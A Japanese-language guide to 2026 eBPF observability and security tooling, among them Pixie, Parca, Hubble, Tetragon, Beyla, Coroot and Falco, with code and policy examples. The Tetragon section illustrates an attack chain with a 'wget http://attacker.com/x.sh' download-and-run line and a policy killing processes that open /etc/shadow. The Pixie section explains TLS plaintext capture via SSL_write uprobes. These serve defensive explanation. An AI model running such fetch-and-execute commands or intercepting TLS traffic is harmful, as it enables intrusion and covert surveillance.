필사 모드: eBPF 観測性 2026 — Pixie / Parca / Cilium Hubble / Tetragon / Beyla / Coroot / Falco 徹底ガイド
日本語eBPF がインフラの「神経系」になった 2026 年
5 年前、eBPF は「Linux カーネルハッカーの面白い玩具」程度に扱われていた。2026 年の今、eBPF は以下の領域で事実上の標準である。
- **ネットワーク** — Cilium が GKE、EKS、AKS の既定 CNI オプションとなり、kube-proxy を置き換えつつある
- **観測性** — Pixie、Parca、Beyla、Coroot が「コード変更なしの自動計装」を現実にした
- **セキュリティ** — Tetragon、Falco がランタイムセキュリティの事実上の標準
- **スケジューリング** — sched_ext (CONFIG_SCHED_CLASS_EXT) が Linux 6.12 からメインラインに入り、Meta と Google が独自スケジューラを本番運用している
- **電力** — Kepler が CNCF Incubating 入りし、データセンターの carbon footprint 計測の事実上の標準になった
本記事では 2026 年時点の eBPF エコシステムを上から下まで概観する。各ツールが何をしているのか、なぜそう動くのか、韓国と日本のビッグテックでどう採用されているのかを整理する。
1. 2026 年の eBPF — 4 つのドメインの事実上の標準
まず全体像から描こう。eBPF は今、4 つの領域で同時に標準として固まりつつある。
┌──────────────────────────────────────────────────────────────────────────┐
│ eBPF ドメイン別 2026 年事実上の標準 │
├──────────────────────────────────────────────────────────────────────────┤
│ ネットワーク / CNI │ Cilium (CNCF Graduated 2023) │
│ - ネットワーク観測性│ Hubble (Cilium の姉妹プロジェクト) │
│ - kube-proxy 置換 │ Cilium kube-proxy replacement │
│ - サービスメッシュ │ Cilium Service Mesh (サイドカーレス Envoy) │
├──────────────────────────────────────────────────────────────────────────┤
│ 観測性 (トレース) │ Pixie (CNCF Sandbox、New Relic 後援 / OSS) │
│ 観測性 (プロファイル) │ Parca / Grafana Pyroscope │
│ 観測性 (自動計装) │ Grafana Beyla / OpenTelemetry eBPF Collector │
│ 観測性 (自動推論) │ Coroot │
│ k8s 診断ツール │ Inspektor Gadget (Microsoft、CNCF Sandbox) │
├──────────────────────────────────────────────────────────────────────────┤
│ セキュリティ (ランタイム)│ Falco (CNCF Graduated 2024) / Tetragon (Isovalent)│
│ - ポリシーシグナル │ Cilium Tetragon │
│ - syscall 監査 │ Falco │
├──────────────────────────────────────────────────────────────────────────┤
│ 電力 / サステナビリティ│ Kepler (CNCF Incubating) │
│ スケジューリング │ sched_ext (Linux 6.12+、Meta scx スケジューラ) │
└──────────────────────────────────────────────────────────────────────────┘
興味深いのは、これら 4 領域の共通点が「カーネル内で安全にコードを実行する」という単一の技術の上に成り立っていることだ。それがどうやって可能なのかを次章で見る。
2. eBPF の基礎 — なぜカーネルを「安全に」拡張できるのか
eBPF は extended Berkeley Packet Filter の略だが、名前が意味する範囲よりはるかに広い。本質は「ユーザ空間が書いた小さなプログラムを、検証付きでカーネル文脈で実行できる仮想マシン」である。
従来のカーネル拡張手段
1. **カーネルモジュール (`.ko`)** — 強力だが危険。間違ったモジュールはカーネルパニックを起こす
2. **kprobes / uprobes / tracepoints** — 安全だがデータ収集の幅が限定的
3. **systemtap** — スクリプト言語に見えるが、最終的にはカーネルモジュールにコンパイルされる
eBPF のアプローチ
ユーザ空間 カーネル空間
────────── ──────────
[C ソース] [eBPF VM]
│ ▲
▼ │
[Clang/LLVM] ──▶ [eBPF bytecode] ──▶ [Verifier]
│
▼
[JIT コンパイラ]
│
▼
[ネイティブコード]
│
▼
[フック地点: kprobe, tracepoint, XDP, sched ...]
中核は **Verifier**。eBPF プログラムはカーネルにロードされる前に次を検証される。
- **無限ループなし** — 後方ジャンプは明示的に上限付き (bounded loop、Linux 5.3+)
- **有効なメモリアクセスのみ** — ポインタ追跡、範囲チェック
- **終了保証** — 実行時間の上限 (1M 命令、Linux 5.2+)
- **ヘルパー関数のみ** — 任意のカーネル関数は呼べず、ホワイトリストされたヘルパーのみ呼び出し可
この verifier のおかげで、ユーザは「カーネル内で動くのにカーネルを壊せない」コードを書ける。これが eBPF の魔法である。
eBPF プログラムのライフサイクル
// Hello eBPF (libbpf スタイル)
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
SEC("tracepoint/syscalls/sys_enter_openat")
int trace_openat(void *ctx) {
char msg[] = "openat called\n";
bpf_trace_printk(msg, sizeof(msg));
return 0;
}
char LICENSE[] SEC("license") = "GPL";
コンパイル
clang -O2 -target bpf -c hello.c -o hello.o
ロード (bpftool を使う)
sudo bpftool prog load hello.o /sys/fs/bpf/hello
sudo bpftool prog attach pinned /sys/fs/bpf/hello tracepoint syscalls sys_enter_openat
トレース出力を見る
sudo cat /sys/kernel/debug/tracing/trace_pipe
この単純な例が示すのは: openat システムコールが呼ばれるたび、カーネルが我々の書いた検証済みコードを実行する。プロセスがどのファイルを開くのか追跡できる。
3. CO-RE 革命 — Compile Once, Run Everywhere
eBPF 初期最大の問題は **カーネルバージョン互換性** だった。カーネル内部の構造体はバージョンごとに違う。例えば `task_struct` のあるフィールドは 5.4 でオフセット 200、5.10 で 224、6.5 で 248 に位置する。
なので古い BCC は「ランタイムにカーネルヘッダを使って Clang でコンパイルする」方式だった。欠点:
- 全ノードに Clang + カーネルヘッダの導入が必要 (数百 MB)
- 起動時間が数秒〜数十秒
- 本番環境でコンパイラを動かすことへの抵抗感
CO-RE の仕組み
CO-RE は BTF (BPF Type Format) と libbpf の再配置機能でこの問題を解く。
コンパイル時:
eBPF.c ── Clang/LLVM ──▶ BPF bytecode + BTF 情報 (構造体メンバ参照のメタデータ)
ランタイム:
実行中のカーネルの BTF (/sys/kernel/btf/vmlinux) と比較
──▶ libbpf がオフセットを再計算
──▶ bytecode のメモリアクセス命令をパッチ
──▶ verifier を通過後ロード
中心マクロは `BPF_CORE_READ()`。昔はこう書いた。
// BCC 方式 (ランタイムコンパイル)
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
pid_t ppid;
bpf_probe_read(&ppid, sizeof(ppid), &task->real_parent->tgid);
今はこう書く。
// CO-RE 方式 (一度コンパイル、どこでも動く)
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
pid_t ppid = BPF_CORE_READ(task, real_parent, tgid);
この小さな違いがもたらした変化は巨大だ。**コンテナイメージのサイズが 100 MB ではなく 5 MB になり**、起動時間が即時化した。Cilium、Pixie、Tetragon、Inspektor Gadget など現代の eBPF ツールはすべて CO-RE を基盤とする。
BTF 必須、カーネルヘッダ不要
2026 年時点で Ubuntu 22.04+、RHEL 9+、Amazon Linux 2023+、Bottlerocket は既定で BTF を同梱する (`/sys/kernel/btf/vmlinux`)。古いカーネルを使う場合は BTFHub (https://github.com/aquasecurity/btfhub) が外部 BTF を提供する。
4. Pixie — Kubernetes 自動計装の決定版
Pixie は New Relic が買収して OSS 化 (Apache 2.0) した Kubernetes 観測性プラットフォームである。CNCF Sandbox にあり、2026 年に入ってからは Incubating 候補とも噂されている。
Pixie が解く問題
従来の APM は次のうちひとつを強いる。
1. 全サービスにエージェントを入れる (Datadog、New Relic APM)
2. 全サービスに OpenTelemetry SDK をコードで埋め込む
3. サービスメッシュのサイドカーを敷く (Istio、Linkerd)
3 つとも **コード変更または配備変更** が必要だ。Pixie の約束は違う。**「YAML 一枚でクラスタにインストールしたら、その瞬間からすべてのトラフィックが見える。」**
アーキテクチャ
┌──────────────────────────────┐
│ Pixie UI / Pixie CLI │
│ PxL クエリ言語 (Python 風) │
└──────────────┬───────────────┘
│ gRPC
┌───────────────▼─────────────────┐
│ Pixie Cloud (任意、自己ホスト可) │
│ または Pixie Vizier (クラスタ内) │
└───────────────┬─────────────────┘
│
┌────────────────────────────┼────────────────────────────┐
▼ ▼ ▼
┌───────┐ ┌───────┐ ┌───────┐
│ PEM │ │ PEM │ │ PEM │
│ (ノード)│ │ (ノード)│ │ (ノード)│
└─┬─────┘ └─┬─────┘ └─┬─────┘
│ eBPF │ eBPF │ eBPF
▼ ▼ ▼
[カーネルトレース] [カーネルトレース] [カーネルトレース]
PEM = Pixie Edge Module (DaemonSet)
データはノードメモリに 24 時間のみ保持 (長期保存は Iceberg/S3 連携)
PEM がノードごとに立ち、次を自動キャプチャする。
- HTTP/HTTP2/gRPC リクエスト・レスポンス (header + body)
- MySQL、PostgreSQL、Redis、Kafka、MongoDB のクエリ
- DNS クエリ
- TCP/UDP 接続、再送、RTT
- CPU プロファイル (perf_event)
TLS も見える
最も印象的な部分。**HTTPS トラフィックが見える**。どうやって? OpenSSL の `SSL_read` / `SSL_write` に uprobe を仕掛け、暗号化直前・復号直後の平文を観測する。
// 単純化した擬似コード
SEC("uprobe/SSL_write")
int trace_ssl_write(struct pt_regs *ctx) {
void *buf = (void *)PT_REGS_PARM2(ctx);
size_t len = (size_t)PT_REGS_PARM3(ctx);
// buf の先頭 N バイトを perf buffer へ送る
...
}
Go バイナリは静的リンクされているのでもう少し複雑だ。Pixie は Go の TLS ライブラリ (`crypto/tls.(*Conn).Read/Write`) のシンボルを探して uprobe を仕掛ける。
PxL クエリ例
直近 5 分で最も遅い HTTP エンドポイント Top 10
df = px.DataFrame(table='http_events', start_time='-5m')
df = df[df.resp_status >= 200]
df.endpoint = df.req_path
df = df.groupby('endpoint').agg(
p50=('latency', px.quantiles(0.50)),
p99=('latency', px.quantiles(0.99)),
count=('latency', px.count),
)
df = df.sort('p99', desc=True).head(10)
px.display(df)
PxL は Python に似た DSL だが、実体は C++ バックエンドでコンパイル・実行される。全クエリが PEM 上のインメモリデータで実行されるので高速だ。
限界
- **長期ストレージなし** — 既定 24 時間。長く保管したければ Pixie を OpenTelemetry でエクスポートし、別バックエンド (Honeycomb、Tempo、Iceberg) に送る
- **リソース消費** — PEM はノード当たりメモリ 1–2 GB を既定で占有。小さいノードでは負担
- **HTTPS は uprobe マッチングが鍵** — 静的 OpenSSL リンクや非標準 TLS ライブラリで難易度が上がる
それでも Pixie は「eBPF 自動計装が何をできるか」を見せた決定版である。
5. Parca — 継続的プロファイリング
Parca は Polar Signals (Frederic Branczyk が創った会社) の OSS 継続的プロファイリングツールである。2026 年時点で CNCF Sandbox。
「継続的プロファイリング」とは
従来のプロファイリングは「異常があればその時に perf record を動かして解析」だった。継続的プロファイリングは **常に低オーバヘッド (通常 1%) で全プロセスをプロファイリングし、データを保存する**。それで「先週火曜の 3 時にメモリが跳ねた」のような事後解析が可能になる。
Parca の特徴
別の選択肢:
- perf record → 手動、データが巨大
- py-spy / pyroscope → 言語別エージェント
- Datadog Continuous Profiler → 有料、プロプライエタリ
Parca のアプローチ:
- parca-agent: DaemonSet でノードあたり 1 つ
- eBPF で 99 Hz スタックサンプリング (perf_event)
- Go、Rust、C/C++、Python、Java、Node.js を単一エージェントで
- DWARF ベースのスタック巻き戻し (libunwind 不要、カーネル内で)
- pprof 互換フォーマットで保存 (Parca Server)
ノード別スタックサンプリングの難しさ
スタックを 99 Hz でサンプリングするとは、1 秒に 99 回、全 CPU で現在実行中の関数のコールスタックを取得するという意味だ。コールスタックは stack pointer (rbp レジスタ) を辿るのが定石だが、現代のコンパイラは最適化のために frame pointer を省く (`-fomit-frame-pointer`)。
打開策は 2 つ。
1. **Frame pointer を再有効化** — Fedora 38+、Ubuntu 24.04+ がライブラリ群を frame pointer 有効でビルドし直した (本当に大きな転換だった)
2. **DWARF ベースの巻き戻し** — DWARF eh_frame セクションを読み、stack pointer の変換ルールを得る。Parca はこれを eBPF 内で行う
Parca は DWARF unwind 情報を事前に BPF map にロードし、サンプリング時に参照してコールスタックを復元する。この技術は Polar Signals が Linux コミュニティと作り上げたものであり、今や Grafana Pyroscope、Datadog の profiler もすべて同じアプローチを取る。
フレームグラフ
収集したスタックデータはフレームグラフ (Brendan Gregg が発明した可視化) で見る。
┌──────────────────────────────────────┐
│ main (100%) │
├────────────┬─────────────────────────┤
│ http (80%) │ db.query (15%) │
├─────┬──────┼────────┬────────────────┤
│a(40)│b(40) │parse(5)│ exec(10) │
└─────┴──────┴────────┴────────────────┘
横幅 = CPU 時間比率
上方向 = 呼び出し深さ
Parca vs Pyroscope vs Datadog
| ツール | OSS | 多言語単一エージェント | DWARF unwind | バックエンド |
|--------|------|----------------------|--------------|-------------|
| Parca | Apache 2.0 | はい | はい | Parca Server (Go) |
| Grafana Pyroscope | AGPL | 部分 (eBPF エージェント別) | はい | Pyroscope Server |
| Datadog | クローズド | はい | はい | SaaS |
| pprof + go pprof | 標準 | いいえ | コンパイラ依存 | ファイル |
2026 年の流れは Grafana Pyroscope + Parca 互換フォーマットへの収束。pprof は事実上の標準交換フォーマットになった。
6. Cilium Hubble — Kubernetes ネットワーク観測性
Cilium は 2023 年に CNCF Graduated になり、2026 年時点で GKE Dataplane v2、EKS Anywhere、AKS Advanced の既定オプションだ。Hubble は Cilium の姉妹プロジェクトで、ネットワーク流量を観測する。
kube-proxy の限界
既存の kube-proxy は iptables または IPVS ルールで ClusterIP ルーティングを行う。問題:
- サービス数が増えると iptables ルールが数万 — パケットごとに O(n) マッチング (IPVS はハッシュだが conntrack 負担)
- L7 ルーティング不可
- ポリシー可視性が乏しい (どのパケットがなぜ落ちたか不明)
Cilium のアプローチ
TC ingress hook ─▶ eBPF プログラム ─▶ ルーティング / ポリシー / ロギング
├─▶ DROP / FORWARD / REDIRECT
└─▶ Hubble へイベント送信
kube-proxy 置換: サービスマッピングを BPF map に保存、パケット到着時に O(1) ルックアップ
ネットワークポリシー: L3-L7 を全て BPF で評価
サービスメッシュ: Envoy をサイドカーレス (per-node) で
Hubble UI
Hubble は Cilium が放出する流量イベントを集めて次を表示する。
- リアルタイムサービス依存グラフ
- L7 メトリクス (HTTP status 分布、メソッド分布)
- DNS クエリ流量
- ポリシー違反 (DENY 理由含む)
CLI でリアルタイム流量を見る
hubble observe --namespace prod --follow
Mar 15 10:23:01.234 prod/frontend-7f6d-xqz -> prod/api-3-abc:8080 SYN
Mar 15 10:23:01.235 prod/frontend-7f6d-xqz -> prod/api-3-abc:8080 ACK
Mar 15 10:23:01.240 prod/frontend-7f6d-xqz -> prod/api-3-abc:8080 HTTP/1.1 GET /v1/users/me (200, 5ms)
L7 統計
hubble observe --http-status 500 --since 5m --output table
Cilium Network Policy の例
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: api-only-from-frontend
spec:
endpointSelector:
matchLabels:
app: api
ingress:
- fromEndpoints:
- matchLabels:
app: frontend
toPorts:
- ports:
- port: '8080'
protocol: TCP
rules:
http:
- method: GET
path: '/v1/.*'
- method: POST
path: '/v1/orders'
このポリシーは L7 (HTTP メソッド + パス) まで強制する。既存の NetworkPolicy では不可能だった。
Hubble Timescape
2025 年に追加された機能。Hubble の流量データを Iceberg に長期保存し、「先週のトラフィックパターン」を解析できる。セキュリティインシデントの事後調査に決定的だ。
7. Tetragon — Isovalent のセキュリティ観測性
Tetragon は Cilium を作った Isovalent (今は Cisco) のセキュリティ観測性 / ランタイムセキュリティツールである。2024 年に CNCF Incubating 入り。
Falco と何が違うか
Falco はシステムコールにフックを掛けてルールベースで検知する。Tetragon は似ているが次が違う。
| 観点 | Falco | Tetragon |
|------|-------|----------|
| フック方式 | libbpf modern eBPF + kernel module (legacy) | 純 eBPF、CO-RE ベース |
| ポリシー言語 | YAML ルール (Sysdig 互換) | TracingPolicy (CRD) |
| リアルタイム遮断 | 部分的 (BPF helper) | 強力 (sigkill、override) |
| プロセス文脈 | 豊富 | 豊富 + 親 / 祖父 / exec ancestry |
| k8s 統合 | 良好 | 非常に強力 (Pod メタデータを自動付与) |
リアルタイム遮断の意味
Tetragon は BPF ヘルパー `bpf_send_signal()` で違反プロセスに SIGKILL を送れる。つまり「検知後通知」ではなく「検知即遮断」だ。
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: block-sensitive-file-access
spec:
kprobes:
- call: 'security_file_open'
syscall: false
args:
- index: 0
type: 'file'
selectors:
- matchArgs:
- index: 0
operator: 'Prefix'
values:
- '/etc/shadow'
- '/etc/passwd'
matchActions:
- action: 'Sigkill'
このポリシーが適用されると、どのプロセスでも `/etc/shadow` を開こうとした瞬間にカーネル文脈で SIGKILL が発火する。ユーザ空間エージェントが起きて判断するわけではない。これが可能なのは verifier を通ったコードがカーネル内で直接実行されるからだ。
Process Ancestry
Tetragon が自慢する別の機能。全イベントが「このプロセスがどう生成されたか」を追跡できる。
プロセス sshd (pid 1234, uid 0)
└─ bash (pid 1235, uid 0)
└─ wget http://attacker.com/x.sh (pid 1240, uid 0)
└─ sh x.sh (pid 1241, uid 0)
└─ /tmp/x (pid 1245, uid 0) ← 違反発生
この ancestry は eBPF で `task_struct->real_parent` を辿って作られる。セキュリティインシデント解析で「この小さな違反の本当の起点はどこだったか」を即座に把握できる。
8. BCC + bpftrace — 伝統的なトレーシングツール
上のツール群が「本番デーモン」だとすれば、BCC と bpftrace は「エンジニアが SSH で入って直接動かす」トレーシングツールである。Brendan Gregg の書籍「BPF Performance Tools」(2019) 以後、標準になった。
BCC vs bpftrace
- **BCC**: Python または C++ でラッパを書く大きめのフレームワーク。複雑なツール群 (`opensnoop`、`execsnoop`、`biolatency`、`tcplife` など 200+ 個)
- **bpftrace**: awk 風の単一行 DSL。その場でトレース可能
bpftrace のワンライナーマジック
1) どのプロセスがどのファイルを開いたか (3 秒間)
sudo bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s opens %s\n", comm, str(args->filename)); }' -c 'sleep 3'
2) ディスク I/O レイテンシのヒストグラム
sudo bpftrace -e '
kprobe:vfs_read { @start[tid] = nsecs; }
kretprobe:vfs_read /@start[tid]/ {
@ns = hist(nsecs - @start[tid]);
delete(@start[tid]);
}
'
3) どの関数が最も多く呼ばれるか (10 秒間)
sudo bpftrace -e 'profile:hz:99 { @[kstack(3)] = count(); }' -c 'sleep 10' | head -20
4) TCP 再送のたびに宛先を表示
sudo bpftrace -e '
kprobe:tcp_retransmit_skb {
$sk = (struct sock *)arg0;
printf("retransmit %s\n", ntop($sk->__sk_common.skc_daddr));
}
'
BCC の標準ツール群
`bcc-tools` (Ubuntu/Debian) または `bpftrace` (CO-RE ビルド) を入れた後、`/usr/sbin/` または `/usr/share/bcc/tools/` に次が使える。
どのプロセスが新しく立ち上がったか
sudo execsnoop-bpfcc
どのファイルが開かれたか
sudo opensnoop-bpfcc
TCP 接続のライフ
sudo tcplife-bpfcc
ブロック I/O レイテンシのヒストグラム
sudo biolatency-bpfcc
CPU 上位
sudo profile-bpfcc 10
こうしたツールの価値
上で見た Pixie、Parca、Hubble は「常時オン」のツールだ。一方 BCC/bpftrace は「障害時にその場で答えを得る」ツールだ。両方が必要だ。
Brendan Gregg の「Systems Performance」(第 2 版、2020) と「BPF Performance Tools」(2019) がこの分野のバイブルである。
9. OpenTelemetry eBPF Collector + Grafana Beyla — 自動計装の標準化
OpenTelemetry は CNCF の観測性標準だ。2025 年に入って eBPF ベースの自動計装は 2 つの流れで固まった。
OpenTelemetry eBPF Collector
opentelemetry-ebpf プロジェクトは OpenTelemetry 公式コンポーネントである。Splunk が主導して作り、次を自動収集する。
- ネットワーク流量メトリクス (kprobe ベース)
- DNS、TCP、UDP 統計
- Pod/Service/Workload ラベル付け (k8s 統合)
OTLP で吐くので、どのバックエンド (Tempo、Jaeger、Honeycomb、Datadog) でも受けられる。
Grafana Beyla
Beyla は Grafana Labs が作った Go ベースの eBPF 自動計装エージェントである。2024 年に GA。特徴。
- HTTP、gRPC、SQL、Redis のようなプロトコルを uprobe で自動認識
- TLS トラフィックも OpenSSL/Go TLS の関数にフックして平文キャプチャ
- 分散トレースコンテキスト (W3C traceparent) も抽出
- OTLP、Prometheus、Mimir へエクスポート
単純実行 (どのプロセスを追うかを BEYLA_EXECUTABLE_NAME で指定)
BEYLA_EXECUTABLE_NAME=myapp \
BEYLA_PROMETHEUS_PORT=9090 \
BEYLA_OPEN_PORT=8080 \
sudo beyla
k8s で DaemonSet として
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: beyla
spec:
template:
spec:
hostPID: true # ホストの他プロセスを見るため
containers:
- name: beyla
image: grafana/beyla:latest
securityContext:
privileged: true # 単純化: 実際は CAP_SYS_ADMIN、CAP_BPF のみで十分
env:
- name: BEYLA_DISCOVERY_SERVICES
value: 'k8s:.*' # 全ての k8s サービスを自動発見
- name: BEYLA_OTEL_ENDPOINT
value: 'http://otel-collector:4318'
Beyla vs Pixie
| 観点 | Beyla | Pixie |
|------|-------|-------|
| 後援 | Grafana Labs | New Relic |
| ライセンス | Apache 2.0 | Apache 2.0 |
| データモデル | OTLP (標準) | PxL クエリ (独自) |
| バックエンド | Tempo、Jaeger、任意の OTLP バックエンド | Pixie Vizier + エクスポート |
| 強み | OTel エコシステム統合 | インメモリクエリ、リッチな UI |
2026 年のトレンドは明確だ。**自動計装は事実上すべて OpenTelemetry へ向かう道**であり、Beyla / Pixie / Coroot がその道を整備している。
10. Coroot — 自動推論観測性
Coroot は 2023 年に登場した比較的新しいプロジェクトだが、「自動推論 (auto-inferred)」観測性というアプローチで急速に地位を確立した。OSS (Apache 2.0)。
「自動推論」とは
伝統的な観測性は人間が次を設定しなければならない。
- どの指標が SLO か
- どのサービスがどの他サービスに依存するか
- アラート閾値は何か
- どのログパターンがエラーか
Coroot の約束: **「これら全てを eBPF で観測し、自動推論する。」**
Coroot が自動で作るもの:
1. サービス依存グラフ (ネットワーク流量から)
2. SLO 候補 (HTTP/gRPC トラフィック解析)
3. データベースクエリのグルーピング (正規化後に自動分類)
4. アラート候補 (異常検知ベース)
5. コスト / リソース効率の解析
構成
Coroot もノード別エージェント (coroot-node-agent) を立てる。このエージェントが eBPF で次をキャプチャする。
- TCP 接続、RTT、再送
- HTTP/HTTPS (uprobe で TLS キャプチャ)
- DB プロトコル (PostgreSQL、MySQL、Redis、MongoDB)
- ファイル I/O、CPU 使用
収集データは Coroot Server (Go) が Prometheus、ClickHouse をバックエンドに保存する。
自動推論の例
Coroot の UI に入ると、次のような画面が即座に見える。
- 「frontend -> api -> postgres -> s3」依存グラフ
- 各エッジの RPS、p99 レイテンシ、エラー率
- 「postgres に向かうクエリのうち SELECT * FROM users WHERE ... が p99 200 ms で最も遅いクエリ」
- 「frontend ノード ip-10-0-1-23 はベースラインより CPU が 30% 高い」
これが全部自動。誰もダッシュボードを組み立てていない。小さなチームに特に有用だ。
限界
Coroot は「標準」よりも「便利さ」寄りだ。バックエンドは Prometheus + ClickHouse なのでデータ互換性は良いが、データモデルが独自なので Datadog や Honeycomb に既に慣れた組織には追加の学習が必要になる。
11. Inspektor Gadget / Kepler / Falco — 小粒だが重要な 3 つ
Inspektor Gadget (Microsoft、CNCF Sandbox)
Inspektor Gadget は Microsoft が後援する「eBPF で作った k8s デバッグツール集」である。kubectl プラグインとして動作する。
kubectl gadget trace exec # クラスタ全体で新しく立つプロセスを追跡
kubectl gadget trace open # どのファイルが開かれるか
kubectl gadget trace dns # DNS クエリ流量
kubectl gadget snapshot socket # 全ノードの開いているソケットのスナップショット
kubectl gadget top file # ファイル I/O 使用量上位
内部的には BCC ツール群をラップする形から始まり、今は独自の IG (Inspektor Gadget) framework へ進化した。CO-RE ベース。
Kepler (Sustainable Computing)
Kepler (Kubernetes Efficient Power Level Exporter) は CNCF Sandbox で開始し、2025 年に Incubating 昇格。コンテナ単位の電力使用量を計測する。
方法は賢い。CPU カウンタ (RAPL: Running Average Power Limit)、ディスク I/O、ネットワーク I/O を eBPF でコンテナ単位に attribution した後、機械学習モデルでワット単位の電力を推定する。
Prometheus メトリクスとして公開
kepler_container_joules_total{container_name="myapp"} 12345.6
kepler_container_other_joules_total{...}
このデータで Carbon Footprint 計算機 (Cloud Carbon Footprint) が連動し「このサービスが 1 ヶ月に何 kg の CO2 を排出したか」を表示する。ESG レポートと FinOps に直結する。
Falco (CNCF Graduated)
Falco は 2024 年に CNCF Graduated。本質は「システムコールにフックを掛けてルールを評価するランタイムセキュリティエンジン」である。
falco_rules.yaml の抜粋
- rule: Write below etc
desc: an attempt to write to any file below /etc
condition: write_etc_common
output: 'File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name parent=%proc.pname)'
priority: ERROR
tags: [filesystem, mitre_persistence]
Falco は modern eBPF probe (libbpf ベース) が既定になり、古いカーネルモジュールドライバは廃止された。ルールセットは「Falco Rules」公式リポジトリに 600+ 個あり、ほとんどの MITRE ATT&CK カテゴリをカバーする。
Tetragon と Falco は競合関係だが、しばしば併用される。Falco はルールセットが豊富で、Tetragon はリアルタイム遮断が強力だ。
12. Windows eBPF / macOS eBPF — 他 OS への拡張
eBPF はもはや Linux 専用の技術ではない。
eBPF for Windows (Microsoft)
Microsoft は 2021 年に eBPF for Windows プロジェクトを開始した。2026 年時点で安定版が Windows Server 2025 に同梱され、Azure で本番運用が始まっている。
Linux 互換:
- libbpf 互換 API
- 同じ .o ファイルを (大半が) どちらでもロード可
- BPF_PROG_TYPE_XDP、BPF_PROG_TYPE_BIND、BPF_PROG_TYPE_CGROUP_SOCK など主要タイプ
差異:
- Verifier は PREVAIL (Microsoft 別実装、学術的に検証済み)
- JIT は Microsoft uBPF ベース
- フックポイントは NDIS (ネットワークドライバスタック) 中心
Azure のセキュリティチームが Tetragon スタイルのフックを Windows VM で動かしており、Cilium の Windows ノード対応も進行中だ。ゲームチェンジャーとまでは言わないが、「eBPF は Linux 専用」という認識は急速に薄れている。
macOS と Apple Silicon
Apple は公式に eBPF をサポートしない。macOS の kqueue、DTrace、Endpoint Security API が似た役割を果たす。ただし 2025 年に入って Apple Silicon 上で Linux VM (Lima、Tart、OrbStack) を介して eBPF ツールを動かす流れが定着した。Asahi Linux は ARM eBPF サポートが良好だ。
実験的に mac-bpf、ebpf-darwin のような非公式ポーティングの試みはあるが、本番使用は事実上ない。macOS では Linux VM 内で eBPF を使うのが正解だ。
13. 韓国 / 日本での採用 — Toss、Kakao、LINE、Mercari
Toss — Cilium + Hubble + Tetragon を全社標準に
Toss は 2024 年の開発者会議 SLASH で自社インフラが EKS + Cilium ベースであると発表した。中核の動機は kube-proxy の iptables ルール爆発問題だった。Cilium 導入後:
- ノードあたり iptables ルール数が 1 万+ から ほぼ 0 へ
- サービスディスカバリのレイテンシ p99 が低下
- Hubble でマイクロサービス依存を可視化
- セキュリティ上重要な一部ドメインで Tetragon によるランタイム遮断
SLASH 24 の発表資料は YouTube に公開されている。
Kakao — eBPF ベースの社内トレーシング
Kakao は ifkakao 2024 で eBPF ベースの社内トレーシングシステムを紹介した。中核は BCC + 自社コレクタで RPC コールとデータベースクエリを自動キャプチャすること。Pixie を評価したが内製を選択した。
LINE / LY Corporation
LINE は LINE Engineering ブログで eBPF 活用事例を複数回公開している。特にメッセンジャートラフィックの TCP 再送解析、Kafka クラスタのネットワークデバッグに bpftrace を積極的に使う。
Mercari — 継続的プロファイリングの導入
Mercari は 2024 年に Mercari Engineering ブログで Grafana Pyroscope (Parca 互換) を本番投入した事例を共有した。Go マイクロサービス 100+ 個の CPU ホットスポットを発見し、EC2 コストを削減。
Yahoo Japan / LY Corporation
Yahoo! JAPAN は 2023 年から eBPF ベースのネットワーク観測性を運用している。自社コレクタでノードの全 TCP 流量をキャプチャし、ClickHouse に保存する。
14. 導入判断ガイド — 何をいつ使うか
最後に実戦的な判断ガイド。「最初から全部導入」せず、段階的に行こう。
ステージ 1 — ネットワーク可視性が必要か
**Cilium + Hubble** から始める。CNI を換えるのは短期的に最大の変更だが、長期的に最大の見返りを生む。新規クラスタなら問答無用で Cilium。
ステージ 2 — APM がない、または高すぎる
**Beyla** (OTel フレンドリー) か **Pixie** (インメモリクエリ) を 1 クラスタに敷いてみる。1 ヶ月以内に「どのサービスが遅いか」が見える。
ステージ 3 — プロファイルデータが必要
**Parca** か **Grafana Pyroscope** を敷く。Go/Rust/Java のワークロードで CPU ホットスポットが即座に見える。AI インフラのように CPU/メモリが高価なワークロードで効果大。
ステージ 4 — ランタイムセキュリティが必要
**Falco** から始める。ルールセットが豊富で導入が容易だ。リアルタイム遮断が本当に必要なら **Tetragon** を追加で。
ステージ 5 — k8s のデバッグが多い
**Inspektor Gadget** を kubectl プラグインとしてインストール。`kubectl gadget trace exec` のようなコマンドを日常的に使うようになる。
ステージ 6 — リソース / 電力モニタリングが必要
**Kepler** で電力計測。**Coroot** で自動推論ダッシュボード。
ステージ 7 — トラブルシューティングツール
**BCC + bpftrace** は常にインストール。SSH で入ってその場でデバッグする時用。
アンチパターン
- **全ツールを敷く** — リソースオーバヘッドが累積し、運用負担が増える。ツールあたりノードメモリ 100–500 MB 加算
- **CO-RE 非対応の古いカーネル** — Linux 5.4 未満なら最優先でアップグレード
- **BTF なしのカーネル** — `/sys/kernel/btf/vmlinux` がなければ BTFHub 依存
- **privileged DaemonSet 乱発** — CAP_BPF、CAP_PERFMON、CAP_NET_ADMIN を明示付与し、root を避ける
- **自動遮断を早く有効化しすぎる** — Tetragon の Sigkill アクションは誤設定で健全なプロセスを殺す。まずアラートモードで運用、パターン確認、それから遮断モード
まとめ — eBPF がインフラエンジニアリングの既定ツールになった理由
eBPF の爆発的な成長には明確な理由がある。
1. **CO-RE で運用が楽になった** — カーネルヘッダ、コンパイラが不要
2. **安全性** — verifier が保証する隔離はカーネルモジュールでは実現できなかったこと
3. **性能** — フックのコストは通常 100 ns 未満、本番環境で常時オンにできる
4. **標準化** — OpenTelemetry でデータモデルが収束、CNCF がツールを保証
5. **多言語** — 同じエージェント 1 つで Go、Rust、C++、Python、Java が見える
2026 年のインフラエンジニアが eBPF を知らずに働くことは、2016 年のインフラエンジニアが Docker を知らずに働くことに似てきた。本を 1 冊 (Liz Rice の「Learning eBPF」または Brendan Gregg の「BPF Performance Tools」) 読んで、クラスタ 1 つに Cilium + Hubble + Beyla を敷いてみることから始めよう。
> "We instrumented production with eBPF and discovered three latency issues that had been there for two years. We never had to add a single log line." — Lyft Engineering, 2024
参考 / References
- [eBPF 公式サイト](https://ebpf.io/)
